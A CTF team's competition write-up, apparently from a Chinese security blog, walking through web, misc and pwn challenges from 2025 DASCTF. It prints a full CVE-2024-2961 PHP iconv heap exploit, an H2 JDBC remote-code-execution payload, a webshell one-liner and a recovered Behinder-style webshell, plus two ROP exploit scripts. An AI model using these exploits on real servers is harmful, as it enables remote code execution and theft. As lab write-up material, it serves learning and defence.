2025 DASCTF上半年赛 SU WriteUp

感谢 08067Sec 的师傅们精心准备的比赛!本次DASCTF我们 SU 取得了第一名🏆 的好成绩,感谢队里师傅们的辛苦付出!同时我们也在持续招人,欢迎发送个人简介至:suers_xctf@126.com 或者直接联系baozongwi QQ:2405758945。

以下是我们 SU 本次 2025 DASCTF 上半年赛的 部分writeup以及赛后解出的部分题目。


感谢 08067Sec 的师傅们精心准备的比赛!本次DASCTF我们 SU 取得了第一名🏆 的好成绩

img

感谢队里师傅们的辛苦付出!同时我们也在持续招人,欢迎发送个人简介至:suers_xctf@126.com 或者直接联系baozongwi QQ:2405758945。
以下是我们 SU 本次 2025 DASCTF 上半年赛的 部分writeup以及赛后解出的部分题目。

Web

Phpms(赛后)

扫描出git,进行git恢复

1
2
3
4
5
6
7
8
9
dirsearch -u http://123154c5-c64a-427f-b8cf-be5127016c3a.node5.buuoj.cn:81/ --threads 3 --delay 2

githacker --url http://123154c5-c64a-427f-b8cf-be5127016c3a.node5.buuoj.cn/.git/ --output-folder test --delay 2 --threads 3

git log --oneline
git show 613dea6

git stash list
git stash show -p

img

发现php基础函数都不存在,只有原生类,现在可以列出目录以及读取一些有权限的文件

1
2
3
4
?shell=?><?php $content=new SplFileObject('no_careee.php');foreach($content as $content){echo $content."<br>";}?>
?shell=?><?php $content=new SplFileObject('/etc/passwd');foreach($content as $content){echo $content."<br>";}?>

?shell=?><?php $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

发现Redis服务,读取/etc/redis.conf得到Redis密码为admin123,这里可以打CVE-2024-2961,修改exp关键部分

1
2
3
4
5
6
7
8
9
10
11
12
13
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
payload = f"?shell=?><?php $content=new SplFileObject('{path}');foreach($content as $line)echo $line;?>"
return self.session.get(self.url + payload)

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"(.*)", flags=re.S).group(1)
return base64.decode(data)

执行命令

1
python3 cnext-exploit.py http://08b32553-2ead-4148-8ae2-246361272c33.node5.buuoj.cn:81/ "echo '<?php @eval(\$_POST[1]);?>' > 1.php"

没成功,换了一个项目来尝试,https://github.com/kezibei/php-filter-iconv

1
2
3
/proc/self/maps
得到
/lib/x86_64-linux-gnu/libc-2.31.so

然后修改exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
maps_path = './maps'
cmd = 'echo 1 > /tmp/1.txt'
sleep_time = 1
padding = 20

if not os.path.exists(maps_path):
exit("[-]no maps file")

regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)

libc_path = libc_info.path
print("[*]download: "+libc_path)

libc_path = './libc-2.31.so'
if not os.path.exists(libc_path):
exit("[-]no libc file")

成功了,分段写入sh准备和Redis交互

1
2
3
4
5
6
7
#!/bin/bash
h=127.0.0.1;p=6379;a=admin123
k=$(redis-cli -h $h -p $p -a $a --raw KEYS '*')
for x in $k;do
v=$(redis-cli -h $h -p $p -a $a --raw GET $x)
echo $x=>$v>/tmp/2.txt
done

处理压缩,避免长度超过

1
2
3
gzip -c 1.sh | base64 -w 0

echo H4sICAOuVmgAAzEuc2gAjcuxCoMwGEXhPU9xS3+wFmKqQqVI3KRDx3bpGI2SYE2CivXx6yOUs3zLOR5EY51o1GyYkWlWJJe9tAzymhe3UkmlR+vSLGeDpNPUaTvz9mPBDciAB1AAVyAFzif1xaN+PxGdo5j1fsIG60BDqT3D+td/r1+gLWboWuN3yYrWSixjEFmybAvT3nXsBzLb30e1AAAA | base64 -d | gzip -d > /tmp/1.sh

最后发现maps和libc和动态的,所以和出题人@L1mbo交流,并且要到了exp,自己修改了一下,害的是一把锁啊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
#!/usr/bin/python
# -*- coding: utf-8 -*-
from dataclasses import dataclass
import re
import sys
import requests
from pwn import *
import zlib
import os
import binascii


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self):
return self.stop - self.start


def print_hex(data):
hex_string = binascii.hexlify(data).decode()
print(hex_string)


def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"


def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()


def b64(data: bytes, misalign=True) -> bytes:
payload = base64.b64encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload


def _get_region(regions, *names):
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
pass
return region


def find_main_heap(regions):
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path == ""
]

if not heaps:
pass

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
print("Potential heaps: " + heaps + " (using first)")
else:
# print("[*]Using " + hex(first) + " as heap")
pass

return first


def get_regions(maps_path):
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
f = open('maps', 'rb')
maps = f.read().decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in maps.split("\n"):
# print(region)
match = PATTERN.match(region)
if match:
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
# print("[*]Unable to parse memory mappings")
pass

# print("[*]Got " + str(len(regions)) + " memory regions")
return regions


def get_symbols_and_addresses(regions):
# PHP's heap
heap = find_main_heap(regions)

# Libc
libc_info = _get_region(regions, "libc-", "libc.so")

return heap, libc_info


def build_exploit_path(libc, heap, sleep, padding, cmd):
LIBC = libc
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = heap
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = cmd
COMMAND = f"kill -9 $PPID; {COMMAND}"
if sleep:
COMMAND = f"sleep {sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * padding
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
path = path.replace("+", "%2b")
return path

# -------------------------- 简化版主函数 --------------------------
def exp():
ip = "cd75b1b6-18d7-4482-911c-43be6f8dbeab.node5.buuoj.cn"
port = "81"
url = f"http://{ip}:{port}/"

maps = base64.b64decode(requests.get(
f"{url}?shell=?%3E%3C?php%20$context%20=%20new%20SplFileObject(%27php://filter/convert.base64-encode/resource=/proc/self/maps%27);foreach($context%20as%20$f){{echo($f);}}"
).text)
open("maps", "wb").write(maps)

libc = base64.b64decode(requests.get(
f"{url}?shell=?%3E%3C?php%20$context%20=%20new%20SplFileObject(%27php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so%27);foreach($context%20as%20$f){{echo($f);}}"
).text)
open("libc-2.23.so", "wb").write(libc)

regions = get_regions("maps")
heap, libc_info = get_symbols_and_addresses(regions)
libc = ELF("libc-2.23.so", checksec=False)
libc.address = libc_info.start

cmd = "(echo \"auth admin123\nkeys *\nget flag\" | redis-cli) > /tmp/1.txt"
payload = build_exploit_path(libc, heap, sleep=1, padding=20, cmd=cmd)

try:
requests.get(f"{url}?shell=?%3E%3C?php%20$context=new%20SplFileObject(%27{payload}%27);foreach($context%20as%20$f){{echo($f);}}")
except:
pass
time.sleep(2)

result = requests.get(f"{url}?shell=?%3E%3C?php%20$context=new%20SplFileObject(%27/tmp/1.txt%27);foreach($context%20as%20$f){{echo($f);}}").text
match = re.search(r"DASCTF{.*?}", result)
if match:
print("[+] Got flag:", match.group(0))
else:
print("[-] Flag not found")

# --------------------------
if __name__ == '__main__':
exp()

泽西岛(赛后)

不出网H2 RCE,利用war包部署,可以直接写入文件

鉴权绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public void filter(ContainerRequestContext containerRequestContext) {
String path = containerRequestContext.getUriInfo().getPath();
if (!isBaseFile(path) && !WHITELIST.contains(path)) {
String authHeader = containerRequestContext.getHeaderString("Authorization");
if (authHeader != null && authHeader.startsWith("Bearer ")) {
String token = authHeader.substring("Bearer ".length());

try {
DecodedJWT var5 = JwtValidator.verifyJwt(token);
} catch (Exception var6) {
this.abortWithUnauthorized(containerRequestContext);
}

} else {
this.abortWithUnauthorized(containerRequestContext);
}
}
}

private void abortWithUnauthorized(ContainerRequestContext containerRequestContext) {
containerRequestContext.abortWith(Response.status(Status.UNAUTHORIZED).header("Location", "/401.jsp").build());
}

private static boolean isBaseFile(String path) {
return !path.contains("/") && path.contains(".");
}

重点在这里

1
2
private static boolean isBaseFile(String path) {
return !path.contains("/") && path.contains(".");

配置了静态资源的访问,导致了绕过。直接访问/api/testConnect;.js即可

直接打JDBC RCE就可以,需要一个参数,参考文章

https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html

这里直接注释掉,利用$CATALINA_HOME确定tomcat的根目录

构造Payload

1
jdbcUrl=jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INI\T=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('bash -c {echo,Y2F0IC9mbGFnID4gJENBVEFMSU5BX0hPTUUvd2ViYXBwcy9ST09ULzQwNC5qc3A\=}|{base64,-d}|{bash,-i}')\;--\

Misc

BlueTrace

一开始先用neta梭了一下,发现能得到一张jpg,发现显示不全

img

猜测是neta提取的有问题,估计是做限制了,故转手搓:

众所周知蓝牙传输的协议一般是obex,所以过滤一下,可以发现这里明显是传了一个jpg的

img

用tshark导出一下

1
tshark -r BlueTrace.pcapng -Y "obex" -T fields -e data > obex_payload.txt

导出后将数据拉到010,分析一下会发现藏了一个压缩包(可以直接将流量包拿去binwalk就会发现有这么个压缩包了)

img

全部提取出来,根据010的模板会发现内容是不全的

img

回到wireshark分析一下,会发现在最后面还漏了一个流量数据,将他单独提取出来拼上后即可修复压缩包

img

打开后它提示我们密码是蓝牙传输的目标电脑名字

img

在wireshark的无线中找到蓝牙设备,然后简单遍历一下就知道密码是INFERNITYのPC

img

解压得到一张奇怪的png图,猜测是lsb隐写,stegsolve分析找到flag

img

Webshell Plus

根据题意易得webshell流量,那么就看是哪种常见的,简单分析可以发现传了个shell.php

img

其内容如下,不难看出就是冰蝎,但又不太一样,显然魔改了,一开始会进行检测,当攻击者进行密钥交换时(传入gene_key和public_key),shell的key为一个随机的8字节的字符串转hex后取md5的前16个字符,然后用这个key结合传入的public_key进行openssl加密,最后输出被两个8长度的伪造base64字符串包含的base64字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
------WebKitFormBoundary2AdFNokm3wx5QuXV 
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: text/php

<?php
@error_reporting(0);
session_start();
function geneB64RandStr(int $length): string
{
$validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$maxIndex = strlen($validChars) - 1;
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $validChars[random_int(0, $maxIndex)];
}
return $randomString;
}
if (isset($_POST['gene_key']) and $_POST['public_key']) {
echo geneB64RandStr(8);
$public_key = base64_decode($_POST['public_key']);
$p = bin2hex(random_bytes(8));
$key = substr(md5($p), 0, 16);
$_SESSION['k'] = $key;
if (extension_loaded('openssl')) {
openssl_public_encrypt($p, $encrypted_key, $public_key, OPENSSL_PKCS1_PADDING);
echo base64_encode($encrypted_key);
echo geneB64RandStr(8);
exit();
} else {
die("OpenSSL extension not available");
}
} else {
if(!isset($_SESSION['k'])){
$key = "e45e329feb5d925b"; // Default key: rebeyond
$_SESSION['k'] = $key;
}
}
$key = $_SESSION['k'];
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
------WebKitFormBoundary2AdFNokm3wx5QuXV--

接着分析,发现攻击者确认传了这俩参数,所以key值就不是默认的了,可以看到回显就是被两个8长度的伪造base64字符串包含的base64字符串,现在要做的就是找到RSA的私钥去解出p值和key

1

用厨子解一下传入的public_key,可以得到RSA的公钥,结合搜到的这篇文章

https://weiyubo.top/2019/03/31/RSA%20%E8%A7%A3%E5%AF%86%20%EF%BC%88%E5%B7%B2%E7%9F%A5%E5%85%AC%E9%92%A5%EF%BC%89/ 爆破私钥

img

用这个在线网站https://www.ssleye.com/ssltool/pub_asysi.html 解出n,然后用yafu爆破得到p和q,接着按照文章操作得出私钥文件即可

img

然后搓个脚本解出p和key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from base64 import b64decode
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

# 将下面两项替换成你实际的数据
encrypted_b64 = "O+le5pAWzAptt0OhVjS5eDX3W3X766Hc8QbKMNflhkZM3t8HArZ8YRFM3G7h7MMYrcASwycx7aSU1OL2tChk3O/O8cjw/0C6Agx5qEDeiI3gtnic5/J+cLB0WcspW2t9OiqteGHBtXZx0cXUjUSU/7tPwfnOS3pXjrJRDisgSwE="
private_key_pem = """-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgFgmOymT9EJvC8sHTWxov0LQWSomL5DPRiTUEnQnrDmKYGvNSNMJ3V1fR1hr9jQ6
oepvQvjMyWsyTL6J3n9nbOGd5tey/4BLTXHQyaXcSpfl3z61fBJzy91rZrXbzMY1adHH4VYyUoDQ
7qkF2/RVnR8PJVzRoJn+XaH3RabkzHitAgMBAAECgYAb6zfvykmhxPQSQOTXwjFZow2qmN+V2OBZ
h8W0fmBA9T/mxOUc2lH/Yc8CBWe8URm5W7X1gT8GMa825gnPhl1olOcG9QDtvsWZlLa2YIE1VmH9
VexRu+CTaA8YfdQlOQP81P5A8kLOfpqAwvOa166HTTUOLZj1t/wn5DNGDdDnTQJBAJY4ecYJt6OW
6LJsCDoPHDjYPZCtcAv3rAhawzNhltW7Zd5uzN0GqigOWpt+u63pnRXb2HYp2zR5sR/HBbXRqoMC
QQCWOHnGCbejluiybAg6Dxw42D2QrXAL96wIWsMzYZbVu2XebszdBqooDlqbfrut6Z0V29h2Kds0
ebEfxwW10akPAkAomKSYF2IwbIUASt/CSPkYh5/DrIteQJWWQGkGRrZLlnRGM21bwgRUBOUJpqsz
qbGRCbOq407hFI4Ah3mMlFffAkANotDC/kzSJ7e1woK4qnh4XICyKlw6aeAO3hZMCrbDbgBgQZSN
F7bIbg0hgk6NCeC9hDhQ+ZmxWL6QUOOezopXAkAJSa9xZ9Ocse67NBlIaCj4gPuMYs8viR6X6hW0
CXl/c4Aa0+0Cp6NLbD4IPNMseRxK/GNnpl9yCkbSexnQvzMl
-----END RSA PRIVATE KEY-----"""

# 解码Base64后的密文
encrypted_bytes = b64decode(encrypted_b64)

# 导入私钥
rsa_key = RSA.import_key(private_key_pem)
cipher_rsa = PKCS1_v1_5.new(rsa_key)

# 解密
sentinel = b""
decrypted_p = cipher_rsa.decrypt(encrypted_bytes, sentinel)

# 输出结果
print("[+] Recovered p (hex):", decrypted_p)
print("[+] Derived AES key (md5(p)[:16]):", __import__("hashlib").md5(decrypted_p).hexdigest()[:16])

# [+] Recovered p (hex): b'519a73ca97a9e3ea'
# [+] Derived AES key (md5(p)[:16]): d14d8ce94563e71a

得到key就可以对流量解密了

用在线网站 http://tools.bugscaner.com/cryptoaes/ 解密,然后base64解一下msg,最后爆破shadow的hash即可得到密码

img

img

img

md5之后就是flag

Pwn

mini

Only read 挑战,给了 pop rax 但是我没有用到,

参考这个文章的3 个 gadget https://github.com/imLZH1/2025-CTF-writep/tree/main/2025-smileyCTF#pwnbabyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))

attack = 'node5.buuoj.cn:29466'.replace(' ',':')
binary = './chal'

def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary,gdbscript)
if args.TAG:return remote(*args.TAG.split(':'))
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)

context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
#libc = context.binary.libc
#elf = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
b * 0x0040114E
#continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))
io = start([])

bss = 0x404000 + 0x800

ret1 = 0x0401133

pay = b'a' *0x10
pay += p64(0x404000 + 0xe00)
pay += p64(ret1)
s(pay)

add_ebx = 0x000000000040110c # add dword ptr [rbp - 0x3d], ebx ; nop ; ret
magic2 = 0x4010FC
start = 0x401049

rax = 0x0000000000401126 # pop rax ; ret
rbp = 0x000000000040110d # pop rbp ; ret

rop = [
0xbeef,
bss + 0x800,
rbp,
0x404ef8 - 0x48,
magic2,
0,
start
]

#pay = p64(0xbeef) + p64(0x0)
#pay += p64(bss)
#pay += p64(ret1)
#s(pay)
bss += 8
offset1 = 0xb323e

pay = p64(0xbeefbeef1) + p64(0xbeefbeef2)
pay += p64(0x000401049)
pay += p64(start)
s(pay)
pause()

pay = b'a' *0x10
pay += p64(bss+0x4d8+0xb8)
pay += p64(ret1)
s(pay)
pause()

pay = b'a' *0x10
pay += p64(bss+0x18+0xb8+0x4d8)
pay += p64(ret1)
s(pay)
pause()

pay = p64(rbp) + p64(bss+0x28+0xb8+0x4d8)
pay += p64(ret1)
#pay += p64(0x111111111)
s(pay)
pause()

lss('offset1')
pay = p64(rbp) + p64(0x404dc8-0x48)
pay += p64(magic2) + p64(offset1-0x21) # 这里不够回到 _start 函数,要提前在stack 上布置
s(pay)

pause()
lss('offset1')

oo = 0
pay = b'A' *0x10
pay += p64(bss+oo)
pay += p64(ret1)
s(pay)
pause()

pay = b'B' *0x10
pay += p64(bss+0x18+oo)
pay += p64(ret1)
s(pay)
pause()

offset = 0x404d68

pay = p64(rbp) + p64(offset+0x3d)
pay += p64(add_ebx)
pay += p64(0x00401049)
s(pay)
pause()
oo = 0
pay = b'A' *0x10
pay += p64(bss+oo)
pay += p64(ret1)
s(pay)
pause()

pay = b'B' *0x10
pay += p64(bss+0x18+oo)
pay += p64(ret1)
s(pay)
pause()

#gdb.attach(io,gdbscript=gdbscript)
pay = p64(rbp) + p64(0x404d60)
pay += p64(0x040114E)
s(pay)
#pause()

itr()

NSUSServer

格式化字符串泄露地址, 然后 直接栈溢出

a.so 可以直接访问远程环境下载

img

访问一个不存在的文件时,会调用这个函数 存在格式化字符串漏洞

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))

attack = '127.0.0.1 9999'.replace(' ',':')
attack = 'node5.buuoj.cn:27338'.replace(' ',':')
binary = './attachment'

context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
#libc = context.binary.libc
#elf = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
#continue
'''.format(**locals())
#import os
#os.systimport os
io = remote(*attack.split(':'))
#io = start([])

n = 4
path = f'HACK%{n+0xf1}$p-%{n+0xf3}$p-%{n+0xf5}$p-HACK'
headers = (
f"GET {path} HTTP/1.1\r\n"
"\r\n"
)
s(headers)

ru('HACK')

canary = int(ru('-')[:-1],16)
libc_base = int(ru('-')[:-1],16) - 0x29d90
elf_base = int(ru('-')[:-1],16) - 0x0379E

lss('canary')
lss('libc_base')
lss('elf_base')

io = remote(*attack.split(':'))

rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
flag = elf_base + 0x043AB

pay = b'A' * 0x48
pay += p64(canary) * 2
pay += p64(0xbeefbeef)
pay += p64(0xbeef1)
pay += p64(rdi+1)
pay += p64(rsi)
pay += p64(flag)
pay += p64(rdi)
pay += p64(4)
pay += p64(elf_base + 0x2BA3)

headers = (
b"GET /a.cgi?input=" + pay + b" HTTP/1.1\r\n"
b"\r\n"
)
s(headers)

#pay = flat({
#},filler=b'\x00')
#gdb.attach(io,gdbscript)

# libc.address = libc_base
# system = libc.sym['system']
# bin_sh = next(libc.search(b'/bin/sh'))
itr()

Crypto

Excessive Security

